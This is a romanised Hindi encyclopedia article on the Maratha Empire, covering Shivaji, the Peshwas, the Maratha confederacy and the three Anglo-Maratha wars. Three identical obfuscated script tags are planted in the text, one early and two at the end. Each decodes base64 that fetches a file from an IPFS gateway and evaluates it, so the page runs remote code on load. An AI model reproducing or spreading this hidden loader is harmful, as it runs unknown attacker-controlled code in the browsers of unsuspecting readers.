मराठा साम्राज्य

maratha samrajy chhatrapati shivaji maharaj|200px|center vivaran bharat ke ve pramukh log, jo itihas mean kshetr rakshak yoddha aur hindoo dharm ke samarthak ke roop mean vikhyat haian, inaka grihakshetr, aj ka marathi bhashi kshetr maharashtr rajy hai. maratha samrajy ko 'maharatta' ya 'maharatti' ke nam se bhi jana jata hai. sthapana 17vian shatabdi bhasha marathi rajy maharashtr maratha yuddh pratham yuddh- 1775-1782 ee. dvitiy yuddh- 1803-1805 ee. tritiy yuddh- 1817-1818ee. shasan aur sainy vyavastha maratha samrajy hindoo tatha musalaman shasan evan sainy vyavastha ka mishrit roop tha. isaka sootrapat shivaji ne kiya, isamean samast rajyashakti raja ke hath mean rahati thi. sanbandhit lekh shivaji, shahaji bhoansale, jijabaee, shambhaji, shahoo, tarabaee, balaji bajirav, balaji vishvanath, bajirav pratham, bajirav dvitiy maharashtr, tukaram, marathi any janakari shivaji ne 'hindoo pad padashahi' evan 'hindutv dhamoddharak' ki upadhi grahan kar punah brahmanoan ki raksha ka pran kiya, jo maratha utkarsh ka ek karan raha. in sab karanoan ke sath marathoan ke utthan mean shivaji ki bhoomika evan unake chamatkari vyaktitv ko bhulaya nahian ja sakata. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maratha logoan ko 'maharatta' ya 'maharatti' bhi kaha jata hai, bharat ke ve pramukh log, jo itihas mean kshetr rakshak yoddha aur hindoo dharm ke samarthak ke roop mean vikhyat haian, inaka grihakshetr, aj ka marathi bhashi kshetr maharashtr rajy hai, jisaka pashchimi kshetr samudr tat ke kinare muanbee (bhootapoorv banbee) se gova tak aur aantarik kshetr poorv mean lagabhag 160 kimi. nagapur tak phaila hua tha. maratha jati REDIRECTsaancha:mukhy maratha shabd ka tin milate-julate arthoan mean upayog hota hai-marathi bhashi kshetr mean isase ekamatr prabhutvashali maratha jati ya marathoan aur kuanbhi jati ke ek samooh ka bodh hota hai, maharashtr ke bahar mote taur par isase samoochi kshetriy marathi bhashi abadi ka bodh hota hai, jisaki sankhya lagabhag 6.5 karo d hai. aitihasik roop mean yah shabd maratha shasak shivaji dvara 17vian shatabdi mean sthapit rajy aur unake uttaradhikariyoan dvara 18vian shatabdi mean vistarit kshetriy rajy ke lie prayukt hota hai. maratha jati ke log mukhyatah gramin kisan, zamiandar aur sainik the, kuchh marathoan aur kuanbhiyoan ne kabhi-kabhi kshatriy hone ka dava bhi kiya aur isaki pushti ve apane kul-nam v vanshavali ko mahakavyoan ke nayakoan, uttar ke rajapoot vanshoan ya poorv madhyakal ke aitihasik rajavanshoan se jo dakar karate haian, maratha aur kuanbhi samooh ki jatiyaan tatiy, pashchimi paha diyoan aur dakkan ke maidan ke upasamoohoan mean banti huee haian aur unake bich apas mean vaivahik sanbandh kam hi hote haian. pratyek up kshetr mean in jatiyoan ke gotroan ko vibhinn samaj mandaloan mean kramashah ghatate hue kram mean vargikrit kiya gaya hai. sabase b de samajik mandal mean 96 gotr shamil haian. jinamean sabhi asali maratha batae jate haian. lekin in 96 gotroan ki soochiyoan mean kafi vividhata aur vivad haian. samrajy vistar jab mugal dakkan ki or badh rahe the, tab ahamadanagar tatha bijapur mean marathe prashasan tatha sainik sevaoan mean mahattvapoorn padoan par niyukt the tatha rajy ke kam-kaj mean unaka prabhav aur unaki shakti badhati ja rahi thi. dakkan ke sultanoan tatha mugaloan, donoan ne marathoan ka samarthan prapt karane ki cheshta ki. malik ambar ne apani sena mean b di sankhya mean marathoan ki bharti ki. yadyapi more, ghataghe tatha nibalakar jaise kuchh prabhashali maratha parivaroan ne kuchh kshetroan mean prabhav qayam kar liya tha tathapi marathe rajapootoan ki tarah b de tatha susangathit rajy sthapit karane mean saphal nahian hue the. samrajy ki sthapana ka shrey 'shahaji bhoansale' tatha putr 'shivaji' ko hai. jaisa ki pata chalata hai ki kuchh samay tak shahaji ne mugaloan ko chunauti di. ahamadanagar mean usaka itana prabhav tha ki shasakoan ki niyukti mean bhi usaka hi hath hota tha. lekin 1636 ki sandhi ke aantargat shahaji ko un kshetroan ko chho dana p da, jin par usaka prabhav tha. usane bijapur ke shasak ki seva mean pravesh kiya aur apana dhyan karnatak ki or lagaya. us samay ki ashaant sthiti ka labh uthakar shahaji ne bangalaur mean arddh-svayatt rajy ki sthapana ka prayatn kiya. isake pahale golakunda ka ek pramukh saradar mir jumala koromandal tat ke ek kshetr par apana adhikar qayam karane mean saphal ho gaya tha. isake alava kuchh abisiniyaee saradar pashchim tat par apana shasan qayam karane mean saphal ho gaye the. poona ke as-pas ke kshetroan mean apana shasan sthapit karane ke shivaji ke prayasoan ki yahi prishthabhoomi thi. maratha mahasangh REDIRECTsaancha:mukhy isaka sootrapat doosare peshava bajirav pratham (1720-40 ee.) ke shasanakal mean hua. ek or senapati dabha de ke netritv mean maratha kshatriy saradaroan ke virodh tatha doosari or uttar tatha dakshin mean maratha samrajy ka shighrata se vistar hone ke karan peshava bajirav pratham ko apane un svamibhakt samarthakoan par adhik nirbhar rahana p da, jinaki sainik yogyata yuddh bhoomi mean pramanit ho chuki thi. phalasvaroop usane apane b de-b de kshetr in samarthakoan ke adhin kar diye. mugaloan ka dabav mugaloan ke dabav ke karan maharashtr, pashchim bharat mean shivaji ke rajy ke patan ke bad 18vian shatabdi mean bana gathabandhan, mugal badashah aurangazeb ki mrityu (1707) ke bad shivaji ke pautr shahoo ke netritv mean maratha shakti ka purarutthan hua, unhoanne brahman bhat parivar ko shakti pradan ki, jo khanadani taur par peshava (pramukh mantri) bane, unhoanne peshavaoan ki senaoan ke sath uttar mean apane rajy ka vistar karane ka nishchay kiya. shahoo ke jivan kal ke uttarardh mean peshava aur shaktishali ho ge. shahoo ki mrityu (1749) ke bad peshava prabhavashali shasak ho ge. pramukh maratha parivar siandhiya, holkar, bhoansale v gayakava d ne uttar tatha madhy bharat mean vijay yatra jari rakhi aur ve adhik svatantr v aniyantrit ho ge. panipat panipat (1761) mean afaganoan ke hathoan parajay aur 1772 mean yuva peshava madhavarav pratham ki mrityu ke bad peshavaoan ka prabhavashali niyantran samapt ho gaya. isake bad maratha rajy pashchimi bharat ke poona (vartaman pune) mean peshava ke namamatr ke netritv mean paanch pramukhoan ka mahasangh raha. halaanki ve mauke par sangathit ho jate the. jaise aangrezoan ke khilaf (1775-82), lekin adhikaansh samay ve apas mean l date rahate the. peshava bajirav dvitiy ne 1802 mean holkar se parajit hone ke bad british samrajy se suraksha maangi aur unaki ghusapaith ne 1818 tak mahasangh ko chhinn-bhinn kar diya. yah mahasangh maratha rashtriyata ki bhavanaoan ka parichayak tha. lekin apane pramukhoan ki apasi eershya ke karan vah k davahat bhare mahaul mean khandit ho gaya. maratha yuddh 1775-82, 1803-05, 1817-18 british senaoan aur maratha mahasangh ke bich hue tin yuddh, jinaka parinam tha mahasangh ka vinash. pahala yuddh(1775-82) raghunath dvara mahasangh ke peshava (mukhyamantri) ke dave ko lekar british samarthan se prarambh hua. janavari 1779 mean badagaanv mean aangrez parajit ho ge, lekin unhoanne marathoan ke sath salabaee ki sandhi (mee 1782) hone tak yuddh jari rakha; isamean aangrezoan ko banbee (vartaman muanbee) ke pas salaset dvip par kabje k roop mean ekamatr labh mila. doosara yuddh (1803-05) peshava bajirav dvitiy ke holkaroan (ek pramukh maratha kul) se harane aur disambar, 1802 mean besin ki sandhi ke tahat aangrezoan ka sanrakshan svikar karane se prarambh hua. siandhiya tatha bhoansale parivaroan ne is samajhaute ka virodh kiya, lekan ve kramashah lasapa di v dilli mean l aaurd lek aur asay v aragaanv mean sar arthar velezali (jo bad mean vailiangatan ke dyook bane) ke hathoan parajit hue. usake bad holkar parivar bhi isamean shamil ho gaya aur madhy bharat v rajasthan ke kshetr mean maratha bilkul azad ho ge. tisara yuddh (1817-18) british gavarnar-janaral l aaurd hestiangs dvara piandari dasyuoan ke khilaf karravaee karane ke kram mean maratha kshetr ke atikraman se prarambh hua. peshava ki senaoan ne bhoansale aur holkar ke sahayog se aangrezoan ka muqabala kiya (navambar 1817), lekin siandhiya ne isamean koee bhoomika nahian nibhaee. bahut jaldi marathe har ge, jisake bad peshava ko peanshan dekar unake kshetr ka british rajy mean vilay kar liya gaya. is tarah bharat mean british rajy ka adhipaty poornaroop se sthapit ho gaya. [[chitr:Chatrapati-Shivaji.jpg|chhatrapati shivaji maharaj Chatrapati Shivaji Mahraj|thumb|left|250px]] raghoba REDIRECTsaancha:mukhy bharat mean aangrezoan ke sath 1775-82 ee., 1803-05 ee. tatha 1817-19 ee. mean hue. pahala maratha yuddh (1775-82 ee.) peshava narayanarav ke chacha raghova ke phalasvaroop hua. raghova narayanarav ki mrityu ke bad utpann usake putr evan uttaradhikari madhavarav narayan ko peshava gaddi se hatana chahata tha. isake lie usane eestiandiya kampani ko sashti tatha basee dene ka vayada karake aangrezoan ka samarthan prapt karane ki koshish ki. kampani ne bhi samrajy-lipsa ke vashibhoot ho marathoan ke uttaradhikar yuddh se labh uthane ki cheshta ki. pahala maratha-yuddh lamba chala aur aangrezoan ke lie agauravapoorn siddh hua. karnal kaimak ke netritv mean british sena ne b dagaanv (1779 ee.) mean atmasamarpan kar diya aur aangrezoan ne b dagaanv samajhauta karake raghova ko sauanp dene ka vachan de diya. parantu varen hestigs ne, jo us samay gavarnar-janaral tha, is samajhaute ko namanjoor kar diya aur yuddh punah shuroo ho gaya. yadyapi lesli tatha godard ke netritv mean ek hindustani evan aangrez sena 1779 ee. mean bangal se madhy bharat hokar soorat tak pahuanchane mean saphal ho gayi tatha 1780 ee. mean mejar paupham ne gvaliyar par adhikar kar liya, phir bhi aangrez koee nirnayatmak vijay nahian prapt kar sake aur n maratha sena aangrezoan ko nirnayatmak roop se hara saki. aisi paristhiti mean aangrezoan ne mahadaji shinde ko madhyasth banakar salabaee ki sandhi (1782 ee.) ke dvara yuddh samapt kar diya. isake dvara aangrezoan ne apane kathaputali raghova ki penshan niyat kara di aur donoan pakshoan ne ek doosare ke jite hue ilake lauta diye. marathoan ne sashti kampani ko sauanp diya. maratha saradaroan mean apasi dushmani aur pratidvandvita is prakar marathoan aur aangrezoan, donoan ko apani-apani shakti aur kamazori ka pata chal gaya aur agale bis varshoan tak unake bich shaanti rahi. maratha saradaroan mean apasi dushmani aur pratidvandvita chalati rahi aur 25 aktoobar 1802 ee. ko tatkalin peshava bajirav dvitiy ko apane changul mean karane ke lie shinde aur holkar mean poona ke bahar yuddh hua. bajirav dvitiy kayar aur sh dayantrakari tha aur use rajy ke hit ki koee chinta nahian thi. jis samay poona ka yuddh chal hi raha tha, vah pratidvandvi maratha saradaroan ke changul se apane ko bachane ke lie poona se bhagakar basee aangrezoan ki sharan mean chala gaya. vahaan usane 31 disambar 1802 ee. ko basee ki lajjajanak sandhi kar li, jisake dvara usane peshava pad phir se prapt karane ka manorath banaya tha. is prakar bajirav dvitiy ne maratha rajy ki svatantrata bech di aur vah aangrezoan ke dvara punah poona ki gaddi par asin kar diya gaya. parantu maratha saradaroan, vishesh roop se shinde, bhoansale aur holkar ne is vyavastha ko svikar nahian kiya aur phalasvaroop doosara maratha-yuddh (1803-05 ee.) chhi d gaya. maratha saradaroan mean punah ekata sthapit nahian ho saki. gayakava d aangrezoan se mil gaya. yadyapi shinde aur holkar sanyukt ho gaye, tathapi holkar ne unaka sath nahian diya. yadyapi vah bhi basee ki sandhi ka utana hi virodhi tha jitana shinde aur bhoansale. parinam yah hua ki is sankatakal mean bhi marathe apani sampoorn shakti se aangrezoan ka muqabala karane mean asamarth rahe. phir unake pas koee mahanh senapati tatha ranavidya-visharad nahian tha. phalatah dakkhin mean sar arthar veljali (bhavi dyook aph veliangtan) ke netritv mean british sena ne sitanbar 1803 ee. mean asee ki l daee mean shinde aur bhoansale ki sanyukt sena ko hara diya. isake bad navambar mean usane aragaanv ki l daee mean bhoansale ko is prakar nirnayatmak riti se parast kar diya ki agale mahine usane aangrezoan se devagaanv ki sandhi kar li. is sandhi ke dvara usane katak aangrezoan ko de diya aur ek prakar se unaka ashrit ho gaya. aangrezoan ka ashrit mugal badashah is bich uttari bharat mean l aaurd lek ke netritv mean british sena ne aligadh aur dilli par qabza kar liya aur aant mean lasava di ki l daee mean shinde ko is prakar nirnayatmak riti se parajit kiya ki vah 30 disambar 1803 ee. ko surji arjunagaanv ki sandhi karane ke lie vivash hua. isase poorv aragaanv ki l daee mean bhi shinde hara tha. surji arjun gaanv ki sandhi ke dvara shinde ne ganga nadi aur yamuna nadi ke bich ka sara pradesh aangrezoan ko sauanp diya, mugal badashah, peshava tatha nijam ke oopar niyantran karane ka apana sara dava tyag diya, aangrezoan ki svikriti ke bina kisi phirangi ko naukar n rakhane ke lie raji ho gaya tatha ek prakar se aangrezoan ka ashrit ho gaya. holkar holkar abhi tak yuddh se alag raha tha. jab usake pratidvandvi shinde ki shakti aangrezoan ne nasht kar di, tab vah moorkhatavash 1804 ee. mean akele aangrezoan ke viruddh yuddh mean utar p da. prarambh mean rajapootana mean use aangrezoan ke viruddh kuchh saphalata mili, parantu aktoobar mean vah dilli ko n le saka aur navambar 1804 ee. mean dig ki l daee mean har gaya. bharatapur ka raja holkar ki or se yuddh kar raha tha. l aaurd lek ne gvaliyar ka qila chhinane ki koshish ki, parantu saphal n ho saka. usaki is viphalata ke phalasvaroop ianglaiand mean yuddh ko jari rakhane ke viruddh bhavana zor pak dati gee aur 1805 ee. mean l aaurd velezali ko vapas bula liya gaya. usake uttaradhikari ne holkar se jin anukool shartoan par sandhi kar li, unaki vah pahale asha nahian kar sakata tha. holkar ne chambal nadi ke uttar mean sare pradesh par apana dava chho d diya aur apane rajy ka adhikaansh punah prapt kar liya (1806 ee.). doosare yuddh ke parinam doosare aangrez maratha-yuddh ke parinam se ne to kisi maratha saradar ko santosh hua, n peshava ko. un sabako apani satta aur pratishtha chhin jane se khed hua. peshava bajirav dvitiy shadyantrakari manovrittika to tha hi, usane avicharapoorn riti se aangrezoan ko jo satta sauanp di thi, use phir prapt karane ki asha se 1817 ee. mean aangrezoan ke viruddh maratha saradaroan ka sangathan banane mean netritv kiya aur is prakar tisare maratha yuddh (1817-19 ee.) ka sootrapat kiya. parantu is bar gavarnar janaral l aaurd hestiangs ke netritv mean bharat ki british senaean bahut shaktishali siddh huee. yuddh ke aranbh mean hi unhoanne samarik kaushal ka parichay dete hue shinde ko is tarah alag kar diya ki vah yuddh mean koee bhag n le saka. bhoansale ko 1817 ee. mean sitabaldi aur nagapur ki l daeeyoan mean aur holkar ko usi varsh mahidapur ki l daee mean parast kiya tha. peshava ko, jisane yuddh ka sootrapat kiya tha, pahale 1817 ee. mean kh daki ki l daee mean parast kiya gaya. isake bad janavari 1818 ee. mean koregaanv ki l daiyoan mean aur ek mahine ke bad ashti ki l daee mean punah haraya gaya. is antim har ke phalasvaroop peshava ne joon 1818 ee. mean aangrezoan ke age atmasamarpan kar diya. is prakar tisare maratha yuddh mean aangrezoan ki poorn vijay huee. unhoanne ab peshava ka pad to d diya aur bajirav dvitiy ko kanapur ke nikat bithoor mean jakar rahane ki ijajat de di. unhoanne usaki penshan baandh di aur usaka sara samrajy ab aangrezoan ke niyantran mean a gaya. bhoansale ka narmada nadi se uttar ka sara ilaka aangrezoan ne le liya aur shesh ilaka raghuji bhoansale dvitiy ke ek nabalig pautr ke havale kar diya aur use ashrit raja bana liya gaya. isi prakar holkar ne narmada ke dakshin ke samast zile aangrezoan ko sauanp diye, rajapoot rajyoan par apana samast adhipaty tyag diya, apane kshetr mean ek ashrit sena rakhana svikar kar liya aur aangrezoan ki kripa par rajy karane laga. is prakar panjab tatha siandh ko chho dakar samast bharat mean aangrezoan ki sarvabhaum satta sthapit ho gayi. maratha shasan aur sainy vyavastha REDIRECTsaancha:mukhy hindoo tatha musalaman shasan evan sainy vyavastha ka mishrit roop. isaka sootrapat shivaji ne kiya, isamean samast rajyashakti raja ke hath mean rahati thi. vah ashtapradhanoan ki sahayata se shasan karata tha, jinaki niyukti vah svayan karata tha. ashtapradhanoan ke nayaboan ki niyukti bhi raja karata tha. malagujari ki vasooli ka kary pateloan ke hathoan mean tha. bhoomi ki upaj ka ek tihaee bhag malagujari ke roop mean vasool kiya jata tha. shivaji ne shasan vyavastha ke sath-sath sena ki bhi vyavastha ki. sena mean mukhy roop se paidal sainik tatha ghu dasavar hote the. yah sena chhapamar yuddh tatha parvatiy kshetroan mean l dane ke lie bahut upayukt thi. raja svayan sainik ka chunav karata tha. panne ki pragati avastha adhar prarambhik madhyamik poornata shodh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanbandhit lekh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>